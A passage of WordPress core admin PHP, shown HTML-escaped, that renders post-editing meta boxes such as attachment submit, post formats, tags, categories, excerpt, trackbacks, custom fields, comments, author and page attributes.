			&lt;?php
		}
		?&gt;
	&lt;/div&gt;
	&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;
	&lt;?php
}

/**
 * Displays attachment submit form fields.
 *
 * @since 3.5.0
 *
 * @param WP_Post $post Current post object.
 */
function attachment_submit_meta_box( $post ) {
	?&gt;
&lt;div class=&quot;submitbox&quot; id=&quot;submitpost&quot;&gt;

&lt;div id=&quot;minor-publishing&quot;&gt;

	&lt;?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key. ?&gt;
&lt;div style=&quot;display:none;&quot;&gt;
	&lt;?php submit_button( __( &#039;Save&#039; ), &#039;&#039;, &#039;save&#039; ); ?&gt;
&lt;/div&gt;


&lt;div id=&quot;misc-publishing-actions&quot;&gt;
	&lt;div class=&quot;misc-pub-section curtime misc-pub-curtime&quot;&gt;
		&lt;span id=&quot;timestamp&quot;&gt;
			&lt;?php
			$uploaded_on = sprintf(
				/* translators: Publish box date string. 1: Date, 2: Time. */
				__( &#039;%1$s at %2$s&#039; ),
				/* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */
				date_i18n( _x( &#039;M j, Y&#039;, &#039;publish box date format&#039; ), strtotime( $post-&gt;post_date ) ),
				/* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */
				date_i18n( _x( &#039;H:i&#039;, &#039;publish box time format&#039; ), strtotime( $post-&gt;post_date ) )
			);
			/* translators: Attachment information. %s: Date the attachment was uploaded. */
			printf( __( &#039;Uploaded on: %s&#039; ), &#039;&lt;b&gt;&#039; . $uploaded_on . &#039;&lt;/b&gt;&#039; );
			?&gt;
		&lt;/span&gt;
	&lt;/div&gt;&lt;!-- .misc-pub-section --&gt;

	&lt;?php
	/**
	 * Fires after the &#039;Uploaded on&#039; section of the Save meta box
	 * in the attachment editing screen.
	 *
	 * @since 3.5.0
	 * @since 4.9.0 Added the `$post` parameter.
	 *
	 * @param WP_Post $post WP_Post object for the current attachment.
	 */
	do_action( &#039;attachment_submitbox_misc_actions&#039;, $post );
	?&gt;
&lt;/div&gt;&lt;!-- #misc-publishing-actions --&gt;
&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;&lt;!-- #minor-publishing --&gt;

&lt;div id=&quot;major-publishing-actions&quot;&gt;
	&lt;div id=&quot;delete-action&quot;&gt;
	&lt;?php
	if ( current_user_can( &#039;delete_post&#039;, $post-&gt;ID ) ) {
		if ( EMPTY_TRASH_DAYS &amp;&amp; MEDIA_TRASH ) {
			printf(
				&#039;&lt;a class=&quot;submitdelete deletion&quot; href=&quot;%1$s&quot;&gt;%2$s&lt;/a&gt;&#039;,
				get_delete_post_link( $post-&gt;ID ),
				__( &#039;Move to Trash&#039; )
			);
		} else {
			$show_confirmation = ! MEDIA_TRASH ? &quot; onclick=&#039;return showNotice.warn();&#039;&quot; : &#039;&#039;;

			printf(
				&#039;&lt;a class=&quot;submitdelete deletion&quot;%1$s href=&quot;%2$s&quot;&gt;%3$s&lt;/a&gt;&#039;,
				$show_confirmation,
				get_delete_post_link( $post-&gt;ID, &#039;&#039;, true ),
				__( &#039;Delete permanently&#039; )
			);
		}
	}
	?&gt;
	&lt;/div&gt;

	&lt;div id=&quot;publishing-action&quot;&gt;
		&lt;span class=&quot;spinner&quot;&gt;&lt;/span&gt;
		&lt;input name=&quot;original_publish&quot; type=&quot;hidden&quot; id=&quot;original_publish&quot; value=&quot;&lt;?php esc_attr_e( &#039;Update&#039; ); ?&gt;&quot; /&gt;
		&lt;input name=&quot;save&quot; type=&quot;submit&quot; class=&quot;button button-primary button-large&quot; id=&quot;publish&quot; value=&quot;&lt;?php esc_attr_e( &#039;Update&#039; ); ?&gt;&quot; /&gt;
	&lt;/div&gt;
	&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;&lt;!-- #major-publishing-actions --&gt;

&lt;/div&gt;

	&lt;?php
}

/**
 * Displays post format form elements.
 *
 * @since 3.1.0
 *
 * @param WP_Post $post Current post object.
 * @param array   $box {
 *     Post formats meta box arguments.
 *
 *     @type string   $id       Meta box &#039;id&#039; attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args     Extra meta box arguments.
 * }
 */
function post_format_meta_box( $post, $box ) {
	if ( current_theme_supports( &#039;post-formats&#039; ) &amp;&amp; post_type_supports( $post-&gt;post_type, &#039;post-formats&#039; ) ) :
		$post_formats = get_theme_support( &#039;post-formats&#039; );

		if ( is_array( $post_formats[0] ) ) :
			$post_format = get_post_format( $post-&gt;ID );
			if ( ! $post_format ) {
				$post_format = &#039;0&#039;;
			}
			// Add in the current one if it isn&#039;t there yet, in case the active theme doesn&#039;t support it.
			if ( $post_format &amp;&amp; ! in_array( $post_format, $post_formats[0], true ) ) {
				$post_formats[0][] = $post_format;
			}
			?&gt;
		&lt;div id=&quot;post-formats-select&quot;&gt;
		&lt;fieldset&gt;
			&lt;legend class=&quot;screen-reader-text&quot;&gt;
				&lt;?php
				/* translators: Hidden accessibility text. */
				_e( &#039;Post Formats&#039; );
				?&gt;
			&lt;/legend&gt;
			&lt;input type=&quot;radio&quot; name=&quot;post_format&quot; class=&quot;post-format&quot; id=&quot;post-format-0&quot; value=&quot;0&quot; &lt;?php checked( $post_format, &#039;0&#039; ); ?&gt; /&gt; &lt;label for=&quot;post-format-0&quot; class=&quot;post-format-icon post-format-standard&quot;&gt;&lt;?php echo get_post_format_string( &#039;standard&#039; ); ?&gt;&lt;/label&gt;
			&lt;?php foreach ( $post_formats[0] as $format ) : ?&gt;
			&lt;br /&gt;&lt;input type=&quot;radio&quot; name=&quot;post_format&quot; class=&quot;post-format&quot; id=&quot;post-format-&lt;?php echo esc_attr( $format ); ?&gt;&quot; value=&quot;&lt;?php echo esc_attr( $format ); ?&gt;&quot; &lt;?php checked( $post_format, $format ); ?&gt; /&gt; &lt;label for=&quot;post-format-&lt;?php echo esc_attr( $format ); ?&gt;&quot; class=&quot;post-format-icon post-format-&lt;?php echo esc_attr( $format ); ?&gt;&quot;&gt;&lt;?php echo esc_html( get_post_format_string( $format ) ); ?&gt;&lt;/label&gt;
			&lt;?php endforeach; ?&gt;
		&lt;/fieldset&gt;
	&lt;/div&gt;
			&lt;?php
	endif;
endif;
}

/**
 * Displays post tags form fields.
 *
 * @since 2.6.0
 *
 * @todo Create taxonomy-agnostic wrapper for this.
 *
 * @param WP_Post $post Current post object.
 * @param array   $box {
 *     Tags meta box arguments.
 *
 *     @type string   $id       Meta box &#039;id&#039; attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args {
 *         Extra meta box arguments.
 *
 *         @type string $taxonomy Taxonomy. Default &#039;post_tag&#039;.
 *     }
 * }
 */
function post_tags_meta_box( $post, $box ) {
	$defaults = array( &#039;taxonomy&#039; =&gt; &#039;post_tag&#039; );
	if ( ! isset( $box[&#039;args&#039;] ) || ! is_array( $box[&#039;args&#039;] ) ) {
		$args = array();
	} else {
		$args = $box[&#039;args&#039;];
	}
	$parsed_args           = wp_parse_args( $args, $defaults );
	$tax_name              = esc_attr( $parsed_args[&#039;taxonomy&#039;] );
	$taxonomy              = get_taxonomy( $parsed_args[&#039;taxonomy&#039;] );
	$user_can_assign_terms = current_user_can( $taxonomy-&gt;cap-&gt;assign_terms );
	$comma                 = _x( &#039;,&#039;, &#039;tag delimiter&#039; );
	$terms_to_edit         = get_terms_to_edit( $post-&gt;ID, $tax_name );
	if ( ! is_string( $terms_to_edit ) ) {
		$terms_to_edit = &#039;&#039;;
	}
	?&gt;
&lt;div class=&quot;tagsdiv&quot; id=&quot;&lt;?php echo $tax_name; ?&gt;&quot;&gt;
	&lt;div class=&quot;jaxtag&quot;&gt;
	&lt;div class=&quot;nojs-tags hide-if-js&quot;&gt;
		&lt;label for=&quot;tax-input-&lt;?php echo $tax_name; ?&gt;&quot;&gt;&lt;?php echo $taxonomy-&gt;labels-&gt;add_or_remove_items; ?&gt;&lt;/label&gt;
		&lt;p&gt;&lt;textarea name=&quot;&lt;?php echo &quot;tax_input[$tax_name]&quot;; ?&gt;&quot; rows=&quot;3&quot; cols=&quot;20&quot; class=&quot;the-tags&quot; id=&quot;tax-input-&lt;?php echo $tax_name; ?&gt;&quot; &lt;?php disabled( ! $user_can_assign_terms ); ?&gt; aria-describedby=&quot;new-tag-&lt;?php echo $tax_name; ?&gt;-desc&quot;&gt;&lt;?php echo str_replace( &#039;,&#039;, $comma . &#039; &#039;, $terms_to_edit ); // textarea_escaped by esc_attr() ?&gt;&lt;/textarea&gt;&lt;/p&gt;
	&lt;/div&gt;
	&lt;?php if ( $user_can_assign_terms ) : ?&gt;
	&lt;div class=&quot;ajaxtag hide-if-no-js&quot;&gt;
		&lt;label class=&quot;screen-reader-text&quot; for=&quot;new-tag-&lt;?php echo $tax_name; ?&gt;&quot;&gt;&lt;?php echo $taxonomy-&gt;labels-&gt;add_new_item; ?&gt;&lt;/label&gt;
		&lt;input data-wp-taxonomy=&quot;&lt;?php echo $tax_name; ?&gt;&quot; type=&quot;text&quot; id=&quot;new-tag-&lt;?php echo $tax_name; ?&gt;&quot; name=&quot;newtag[&lt;?php echo $tax_name; ?&gt;]&quot; class=&quot;newtag form-input-tip&quot; size=&quot;16&quot; autocomplete=&quot;off&quot; aria-describedby=&quot;new-tag-&lt;?php echo $tax_name; ?&gt;-desc&quot; value=&quot;&quot; /&gt;
		&lt;input type=&quot;button&quot; class=&quot;button tagadd&quot; value=&quot;&lt;?php esc_attr_e( &#039;Add&#039; ); ?&gt;&quot; /&gt;
	&lt;/div&gt;
	&lt;p class=&quot;howto&quot; id=&quot;new-tag-&lt;?php echo $tax_name; ?&gt;-desc&quot;&gt;&lt;?php echo $taxonomy-&gt;labels-&gt;separate_items_with_commas; ?&gt;&lt;/p&gt;
	&lt;?php elseif ( empty( $terms_to_edit ) ) : ?&gt;
		&lt;p&gt;&lt;?php echo $taxonomy-&gt;labels-&gt;no_terms; ?&gt;&lt;/p&gt;
	&lt;?php endif; ?&gt;
	&lt;/div&gt;
	&lt;ul class=&quot;tagchecklist&quot; role=&quot;list&quot;&gt;&lt;/ul&gt;
&lt;/div&gt;
	&lt;?php if ( $user_can_assign_terms ) : ?&gt;
&lt;p class=&quot;hide-if-no-js&quot;&gt;&lt;button type=&quot;button&quot; class=&quot;button-link tagcloud-link&quot; id=&quot;link-&lt;?php echo $tax_name; ?&gt;&quot; aria-expanded=&quot;false&quot;&gt;&lt;?php echo $taxonomy-&gt;labels-&gt;choose_from_most_used; ?&gt;&lt;/button&gt;&lt;/p&gt;
&lt;?php endif; ?&gt;
	&lt;?php
}

/**
 * Displays post categories form fields.
 *
 * @since 2.6.0
 *
 * @todo Create taxonomy-agnostic wrapper for this.
 *
 * @param WP_Post $post Current post object.
 * @param array   $box {
 *     Categories meta box arguments.
 *
 *     @type string   $id       Meta box &#039;id&#039; attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args {
 *         Extra meta box arguments.
 *
 *         @type string $taxonomy Taxonomy. Default &#039;category&#039;.
 *     }
 * }
 */
function post_categories_meta_box( $post, $box ) {
	$defaults = array( &#039;taxonomy&#039; =&gt; &#039;category&#039; );
	if ( ! isset( $box[&#039;args&#039;] ) || ! is_array( $box[&#039;args&#039;] ) ) {
		$args = array();
	} else {
		$args = $box[&#039;args&#039;];
	}
	$parsed_args = wp_parse_args( $args, $defaults );
	$tax_name    = esc_attr( $parsed_args[&#039;taxonomy&#039;] );
	$taxonomy    = get_taxonomy( $parsed_args[&#039;taxonomy&#039;] );
	?&gt;
	&lt;div id=&quot;taxonomy-&lt;?php echo $tax_name; ?&gt;&quot; class=&quot;categorydiv&quot;&gt;
		&lt;ul id=&quot;&lt;?php echo $tax_name; ?&gt;-tabs&quot; class=&quot;category-tabs&quot;&gt;
			&lt;li class=&quot;tabs&quot;&gt;&lt;a href=&quot;#&lt;?php echo $tax_name; ?&gt;-all&quot;&gt;&lt;?php echo $taxonomy-&gt;labels-&gt;all_items; ?&gt;&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;hide-if-no-js&quot;&gt;&lt;a href=&quot;#&lt;?php echo $tax_name; ?&gt;-pop&quot;&gt;&lt;?php echo esc_html( $taxonomy-&gt;labels-&gt;most_used ); ?&gt;&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;

		&lt;div id=&quot;&lt;?php echo $tax_name; ?&gt;-pop&quot; class=&quot;tabs-panel&quot; style=&quot;display: none;&quot;&gt;
			&lt;ul id=&quot;&lt;?php echo $tax_name; ?&gt;checklist-pop&quot; class=&quot;categorychecklist form-no-clear&quot; &gt;
				&lt;?php $popular_ids = wp_popular_terms_checklist( $tax_name ); ?&gt;
			&lt;/ul&gt;
		&lt;/div&gt;

		&lt;div id=&quot;&lt;?php echo $tax_name; ?&gt;-all&quot; class=&quot;tabs-panel&quot;&gt;
			&lt;?php
			$name = ( &#039;category&#039; === $tax_name ) ? &#039;post_category&#039; : &#039;tax_input[&#039; . $tax_name . &#039;]&#039;;
			// Allows for an empty term set to be sent. 0 is an invalid term ID and will be ignored by empty() checks.
			echo &quot;&lt;input type=&#039;hidden&#039; name=&#039;{$name}[]&#039; value=&#039;0&#039; /&gt;&quot;;
			?&gt;
			&lt;ul id=&quot;&lt;?php echo $tax_name; ?&gt;checklist&quot; data-wp-lists=&quot;list:&lt;?php echo $tax_name; ?&gt;&quot; class=&quot;categorychecklist form-no-clear&quot;&gt;
				&lt;?php
				wp_terms_checklist(
					$post-&gt;ID,
					array(
						&#039;taxonomy&#039;     =&gt; $tax_name,
						&#039;popular_cats&#039; =&gt; $popular_ids,
					)
				);
				?&gt;
			&lt;/ul&gt;
		&lt;/div&gt;
	&lt;?php if ( current_user_can( $taxonomy-&gt;cap-&gt;edit_terms ) ) : ?&gt;
			&lt;div id=&quot;&lt;?php echo $tax_name; ?&gt;-adder&quot; class=&quot;wp-hidden-children&quot;&gt;
				&lt;a id=&quot;&lt;?php echo $tax_name; ?&gt;-add-toggle&quot; href=&quot;#&lt;?php echo $tax_name; ?&gt;-add&quot; class=&quot;hide-if-no-js taxonomy-add-new&quot;&gt;
					&lt;?php
						/* translators: %s: Add New taxonomy label. */
						printf( __( &#039;+ %s&#039; ), $taxonomy-&gt;labels-&gt;add_new_item );
					?&gt;
				&lt;/a&gt;
				&lt;p id=&quot;&lt;?php echo $tax_name; ?&gt;-add&quot; class=&quot;category-add wp-hidden-child&quot;&gt;
					&lt;label class=&quot;screen-reader-text&quot; for=&quot;new&lt;?php echo $tax_name; ?&gt;&quot;&gt;&lt;?php echo $taxonomy-&gt;labels-&gt;add_new_item; ?&gt;&lt;/label&gt;
					&lt;input type=&quot;text&quot; name=&quot;new&lt;?php echo $tax_name; ?&gt;&quot; id=&quot;new&lt;?php echo $tax_name; ?&gt;&quot; class=&quot;form-required form-input-tip&quot; value=&quot;&lt;?php echo esc_attr( $taxonomy-&gt;labels-&gt;new_item_name ); ?&gt;&quot; aria-required=&quot;true&quot; /&gt;
					&lt;label class=&quot;screen-reader-text&quot; for=&quot;new&lt;?php echo $tax_name; ?&gt;_parent&quot;&gt;
						&lt;?php echo $taxonomy-&gt;labels-&gt;parent_item_colon; ?&gt;
					&lt;/label&gt;
					&lt;?php
					$parent_dropdown_args = array(
						&#039;taxonomy&#039;         =&gt; $tax_name,
						&#039;hide_empty&#039;       =&gt; 0,
						&#039;name&#039;             =&gt; &#039;new&#039; . $tax_name . &#039;_parent&#039;,
						&#039;orderby&#039;          =&gt; &#039;name&#039;,
						&#039;hierarchical&#039;     =&gt; 1,
						&#039;show_option_none&#039; =&gt; &#039;&amp;mdash; &#039; . $taxonomy-&gt;labels-&gt;parent_item . &#039; &amp;mdash;&#039;,
					);

					/**
					 * Filters the arguments for the taxonomy parent dropdown on the Post Edit page.
					 *
					 * @since 4.4.0
					 *
					 * @param array $parent_dropdown_args {
					 *     Optional. Array of arguments to generate parent dropdown.
					 *
					 *     @type string   $taxonomy         Name of the taxonomy to retrieve.
					 *     @type bool     $hide_if_empty    True to skip generating markup if no
					 *                                      categories are found. Default 0.
					 *     @type string   $name             Value for the &#039;name&#039; attribute
					 *                                      of the select element.
					 *                                      Default &quot;new{$tax_name}_parent&quot;.
					 *     @type string   $orderby          Which column to use for ordering
					 *                                      terms. Default &#039;name&#039;.
					 *     @type bool|int $hierarchical     Whether to traverse the taxonomy
					 *                                      hierarchy. Default 1.
					 *     @type string   $show_option_none Text to display for the &quot;none&quot; option.
					 *                                      Default &quot;&amp;mdash; {$parent} &amp;mdash;&quot;,
					 *                                      where `$parent` is &#039;parent_item&#039;
					 *                                      taxonomy label.
					 * }
					 */
					$parent_dropdown_args = apply_filters( &#039;post_edit_category_parent_dropdown_args&#039;, $parent_dropdown_args );

					wp_dropdown_categories( $parent_dropdown_args );
					?&gt;
					&lt;input type=&quot;button&quot; id=&quot;&lt;?php echo $tax_name; ?&gt;-add-submit&quot; data-wp-lists=&quot;add:&lt;?php echo $tax_name; ?&gt;checklist:&lt;?php echo $tax_name; ?&gt;-add&quot; class=&quot;button category-add-submit&quot; value=&quot;&lt;?php echo esc_attr( $taxonomy-&gt;labels-&gt;add_new_item ); ?&gt;&quot; /&gt;
					&lt;?php wp_nonce_field( &#039;add-&#039; . $tax_name, &#039;_ajax_nonce-add-&#039; . $tax_name, false ); ?&gt;
					&lt;span id=&quot;&lt;?php echo $tax_name; ?&gt;-ajax-response&quot;&gt;&lt;/span&gt;
				&lt;/p&gt;
			&lt;/div&gt;
		&lt;?php endif; ?&gt;
	&lt;/div&gt;
	&lt;?php
}

/**
 * Displays post excerpt form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_excerpt_meta_box( $post ) {
	?&gt;
&lt;label class=&quot;screen-reader-text&quot; for=&quot;excerpt&quot;&gt;
	&lt;?php
	/* translators: Hidden accessibility text. */
	_e( &#039;Excerpt&#039; );
	?&gt;
&lt;/label&gt;&lt;textarea rows=&quot;1&quot; cols=&quot;40&quot; name=&quot;excerpt&quot; id=&quot;excerpt&quot;&gt;&lt;?php echo $post-&gt;post_excerpt; // textarea_escaped ?&gt;&lt;/textarea&gt;
&lt;p&gt;
	&lt;?php
	printf(
		/* translators: %s: Documentation URL. */
		__( &#039;Excerpts are optional hand-crafted summaries of your content that can be used in your theme. &lt;a href=&quot;%s&quot;&gt;Learn more about manual excerpts&lt;/a&gt;.&#039; ),
		__( &#039;https://wordpress.org/documentation/article/what-is-an-excerpt-classic-editor/&#039; )
	);
	?&gt;
&lt;/p&gt;
	&lt;?php
}

/**
 * Displays trackback links form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_trackback_meta_box( $post ) {
	$form_trackback = &#039;&lt;input type=&quot;text&quot; name=&quot;trackback_url&quot; id=&quot;trackback_url&quot; class=&quot;code&quot; value=&quot;&#039; .
		esc_attr( str_replace( &quot;\n&quot;, &#039; &#039;, $post-&gt;to_ping ) ) . &#039;&quot; aria-describedby=&quot;trackback-url-desc&quot; /&gt;&#039;;

	if ( &#039;&#039; !== $post-&gt;pinged ) {
		$pings          = &#039;&lt;p&gt;&#039; . __( &#039;Already pinged:&#039; ) . &#039;&lt;/p&gt;&lt;ul&gt;&#039;;
		$already_pinged = explode( &quot;\n&quot;, trim( $post-&gt;pinged ) );
		foreach ( $already_pinged as $pinged_url ) {
			$pings .= &quot;\n\t&lt;li&gt;&quot; . esc_html( $pinged_url ) . &#039;&lt;/li&gt;&#039;;
		}
		$pings .= &#039;&lt;/ul&gt;&#039;;
	}

	?&gt;
&lt;p&gt;
	&lt;label for=&quot;trackback_url&quot;&gt;&lt;?php _e( &#039;Send trackbacks to:&#039; ); ?&gt;&lt;/label&gt;
	&lt;?php echo $form_trackback; ?&gt;
&lt;/p&gt;
&lt;p id=&quot;trackback-url-desc&quot; class=&quot;howto&quot;&gt;&lt;?php _e( &#039;Separate multiple URLs with spaces&#039; ); ?&gt;&lt;/p&gt;
&lt;p&gt;
	&lt;?php
	printf(
		/* translators: %s: Documentation URL. */
		__( &#039;Trackbacks are a way to notify legacy blog systems that you&amp;#8217;ve linked to them. If you link other WordPress sites, they&amp;#8217;ll be notified automatically using &lt;a href=&quot;%s&quot;&gt;pingbacks&lt;/a&gt;, no other action necessary.&#039; ),
		__( &#039;https://wordpress.org/documentation/article/introduction-to-blogging/#comments&#039; )
	);
	?&gt;
&lt;/p&gt;
	&lt;?php
	if ( ! empty( $pings ) ) {
		echo $pings;
	}
}

/**
 * Displays custom fields form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_custom_meta_box( $post ) {
	?&gt;
&lt;div id=&quot;postcustomstuff&quot;&gt;
&lt;div id=&quot;ajax-response&quot;&gt;&lt;/div&gt;
	&lt;?php
	$metadata = has_meta( $post-&gt;ID );
	foreach ( $metadata as $key =&gt; $value ) {
		if ( is_protected_meta( $metadata[ $key ][&#039;meta_key&#039;], &#039;post&#039; ) || ! current_user_can( &#039;edit_post_meta&#039;, $post-&gt;ID, $metadata[ $key ][&#039;meta_key&#039;] ) ) {
			unset( $metadata[ $key ] );
		}
	}
	list_meta( $metadata );
	meta_form( $post );
	?&gt;
&lt;/div&gt;
&lt;p&gt;
	&lt;?php
	printf(
		/* translators: %s: Documentation URL. */
		__( &#039;Custom fields can be used to add extra metadata to a post that you can &lt;a href=&quot;%s&quot;&gt;use in your theme&lt;/a&gt;.&#039; ),
		__( &#039;https://wordpress.org/documentation/article/assign-custom-fields/&#039; )
	);
	?&gt;
&lt;/p&gt;
	&lt;?php
}

/**
 * Displays comments status form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_comment_status_meta_box( $post ) {
	?&gt;
&lt;input name=&quot;advanced_view&quot; type=&quot;hidden&quot; value=&quot;1&quot; /&gt;
&lt;p class=&quot;meta-options&quot;&gt;
	&lt;label for=&quot;comment_status&quot; class=&quot;selectit&quot;&gt;&lt;input name=&quot;comment_status&quot; type=&quot;checkbox&quot; id=&quot;comment_status&quot; value=&quot;open&quot; &lt;?php checked( $post-&gt;comment_status, &#039;open&#039; ); ?&gt; /&gt; &lt;?php _e( &#039;Allow comments&#039; ); ?&gt;&lt;/label&gt;&lt;br /&gt;
	&lt;label for=&quot;ping_status&quot; class=&quot;selectit&quot;&gt;&lt;input name=&quot;ping_status&quot; type=&quot;checkbox&quot; id=&quot;ping_status&quot; value=&quot;open&quot; &lt;?php checked( $post-&gt;ping_status, &#039;open&#039; ); ?&gt; /&gt;
		&lt;?php
		printf(
			/* translators: %s: Documentation URL. */
			__( &#039;Allow &lt;a href=&quot;%s&quot;&gt;trackbacks and pingbacks&lt;/a&gt;&#039; ),
			__( &#039;https://wordpress.org/documentation/article/introduction-to-blogging/#managing-comments&#039; )
		);
		?&gt;
	&lt;/label&gt;
	&lt;?php
	/**
	 * Fires at the end of the Discussion meta box on the post editing screen.
	 *
	 * @since 3.1.0
	 *
	 * @param WP_Post $post WP_Post object for the current post.
	 */
	do_action( &#039;post_comment_status_meta_box-options&#039;, $post ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	?&gt;
&lt;/p&gt;
	&lt;?php
}

/**
 * Displays comments for post table header
 *
 * @since 3.0.0
 *
 * @param array $result Table header rows.
 * @return array
 */
function post_comment_meta_box_thead( $result ) {
	unset( $result[&#039;cb&#039;], $result[&#039;response&#039;] );
	return $result;
}

/**
 * Displays comments for post.
 *
 * @since 2.8.0
 *
 * @param WP_Post $post Current post object.
 */
function post_comment_meta_box( $post ) {
	wp_nonce_field( &#039;get-comments&#039;, &#039;add_comment_nonce&#039;, false );
	?&gt;
	&lt;p class=&quot;hide-if-no-js&quot; id=&quot;add-new-comment&quot;&gt;&lt;button type=&quot;button&quot; class=&quot;button&quot; onclick=&quot;window.commentReply &amp;&amp; commentReply.addcomment(&lt;?php echo $post-&gt;ID; ?&gt;);&quot;&gt;&lt;?php _e( &#039;Add Comment&#039; ); ?&gt;&lt;/button&gt;&lt;/p&gt;
	&lt;?php

	$total         = get_comments(
		array(
			&#039;post_id&#039; =&gt; $post-&gt;ID,
			&#039;count&#039;   =&gt; true,
			&#039;orderby&#039; =&gt; &#039;none&#039;,
		)
	);
	$wp_list_table = _get_list_table( &#039;WP_Post_Comments_List_Table&#039; );
	$wp_list_table-&gt;display( true );

	if ( 1 &gt; $total ) {
		echo &#039;&lt;p id=&quot;no-comments&quot;&gt;&#039; . __( &#039;No comments yet.&#039; ) . &#039;&lt;/p&gt;&#039;;
	} else {
		$hidden = get_hidden_meta_boxes( get_current_screen() );
		if ( ! in_array( &#039;commentsdiv&#039;, $hidden, true ) ) {
			?&gt;
			&lt;script type=&quot;text/javascript&quot;&gt;jQuery(function(){commentsBox.get(&lt;?php echo $total; ?&gt;, 10);});&lt;/script&gt;
			&lt;?php
		}

		?&gt;
		&lt;p class=&quot;hide-if-no-js&quot; id=&quot;show-comments&quot;&gt;&lt;a href=&quot;#commentstatusdiv&quot; onclick=&quot;commentsBox.load(&lt;?php echo $total; ?&gt;);return false;&quot;&gt;&lt;?php _e( &#039;Show comments&#039; ); ?&gt;&lt;/a&gt; &lt;span class=&quot;spinner&quot;&gt;&lt;/span&gt;&lt;/p&gt;
		&lt;?php
	}

	wp_comment_trashnotice();
}

/**
 * Displays slug form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_slug_meta_box( $post ) {
	/** This filter is documented in wp-admin/edit-tag-form.php */
	$editable_slug = apply_filters( &#039;editable_slug&#039;, $post-&gt;post_name, $post );
	?&gt;
&lt;label class=&quot;screen-reader-text&quot; for=&quot;post_name&quot;&gt;
	&lt;?php
	/* translators: Hidden accessibility text. */
	_e( &#039;Slug&#039; );
	?&gt;
&lt;/label&gt;&lt;input name=&quot;post_name&quot; type=&quot;text&quot; class=&quot;large-text&quot; id=&quot;post_name&quot; value=&quot;&lt;?php echo esc_attr( $editable_slug ); ?&gt;&quot; /&gt;
	&lt;?php
}

/**
 * Displays form field with list of authors.
 *
 * @since 2.6.0
 *
 * @global int $user_ID
 *
 * @param WP_Post $post Current post object.
 */
function post_author_meta_box( $post ) {
	global $user_ID;

	$post_type_object = get_post_type_object( $post-&gt;post_type );
	?&gt;
&lt;label class=&quot;screen-reader-text&quot; for=&quot;post_author_override&quot;&gt;
	&lt;?php
	/* translators: Hidden accessibility text. */
	_e( &#039;Author&#039; );
	?&gt;
&lt;/label&gt;
	&lt;?php
	wp_dropdown_users(
		array(
			&#039;capability&#039;       =&gt; array( $post_type_object-&gt;cap-&gt;edit_posts ),
			&#039;name&#039;             =&gt; &#039;post_author_override&#039;,
			&#039;selected&#039;         =&gt; empty( $post-&gt;ID ) ? $user_ID : $post-&gt;post_author,
			&#039;include_selected&#039; =&gt; true,
			&#039;show&#039;             =&gt; &#039;display_name_with_login&#039;,
		)
	);
}

/**
 * Displays list of revisions.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_revisions_meta_box( $post ) {
	wp_list_post_revisions( $post );
}

//
// Page-related Meta Boxes.
//

/**
 * Displays page attributes form fields.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post Current post object.
 */
function page_attributes_meta_box( $post ) {
	if ( is_post_type_hierarchical( $post-&gt;post_type ) ) :
		$dropdown_args = array(
			&#039;post_type&#039;        =&gt; $post-&gt;post_type,
			&#039;exclude_tree&#039;     =&gt; $post-&gt;ID,
			&#039;selected&#039;         =&gt; $post-&gt;post_parent,
			&#039;name&#039;             =&gt; &#039;parent_id&#039;,
			&#039;show_option_none&#039; =&gt; __( &#039;(no parent)&#039; ),
			&#039;sort_column&#039;      =&gt; &#039;menu_order, post_title&#039;,
			&#039;echo&#039;             =&gt; 0,
		);

		/**
		 * Filters the arguments used to generate a Pages drop-down element.
		 *
		 * @since 3.3.0
		 *
		 * @see wp_dropdown_pages()
		 *
		 * @param array   $dropdown_args Array of arguments used to generate the pages drop-down.
		 * @param WP_Post $post          The current post.
		 */
		$dropdown_args = apply_filters( &#039;page_attributes_dropdown_pages_args&#039;, $dropdown_args, $post );
		$pages         = wp_dropdown_pages( $dropdown_args );
		if ( ! empty( $pages ) ) :
			?&gt;
&lt;p class=&quot;post-attributes-label-wrapper parent-id-label-wrapper&quot;&gt;&lt;label class=&quot;post-attributes-label&quot; for=&quot;parent_id&quot;&gt;&lt;?php _e( &#039;Parent&#039; ); ?&gt;&lt;/label&gt;&lt;/p&gt;
			&lt;?php echo $pages; ?&gt;
			&lt;?php
		endif; // End empty pages check.
	endif;  // End hierarchical check.

	if ( count( get_page_templates( $post ) ) &gt; 0 &amp;&amp; (int) get_option( &#039;page_for_posts&#039; ) !== $post-&gt;ID ) :
		$template = ! empty( $post-&gt;page_template ) ? $post-&gt;page_template : false;
		?&gt;
&lt;p class=&quot;post-attributes-label-wrapper page-template-label-wrapper&quot;&gt;&lt;label class=&quot;post-attributes-label&quot; for=&quot;page_template&quot;&gt;&lt;?php _e( &#039;Template&#039; ); ?&gt;&lt;/label&gt;
		&lt;?php
		/**
		 * Fires immediately after the label inside the &#039;Template&#039; section
		 * of the &#039;Page Attributes&#039; meta box.
		 *
		 * @since 4.4.0
		 *
		 * @param string|false $template The template used for the current post.
		 * @param WP_Post      $post     The current post.
		 */
		do_action( &#039;page_attributes_meta_box_template&#039;, $template, $post );
		?&gt;
&lt;/p&gt;
&lt;select name=&quot;page_template&quot; id=&quot;page_template&quot;&gt;
		&lt;?php
		/**
		 * Filters the title of the default page template displayed in the drop-down.
		 *
		 * @since 4.1.0
		 *
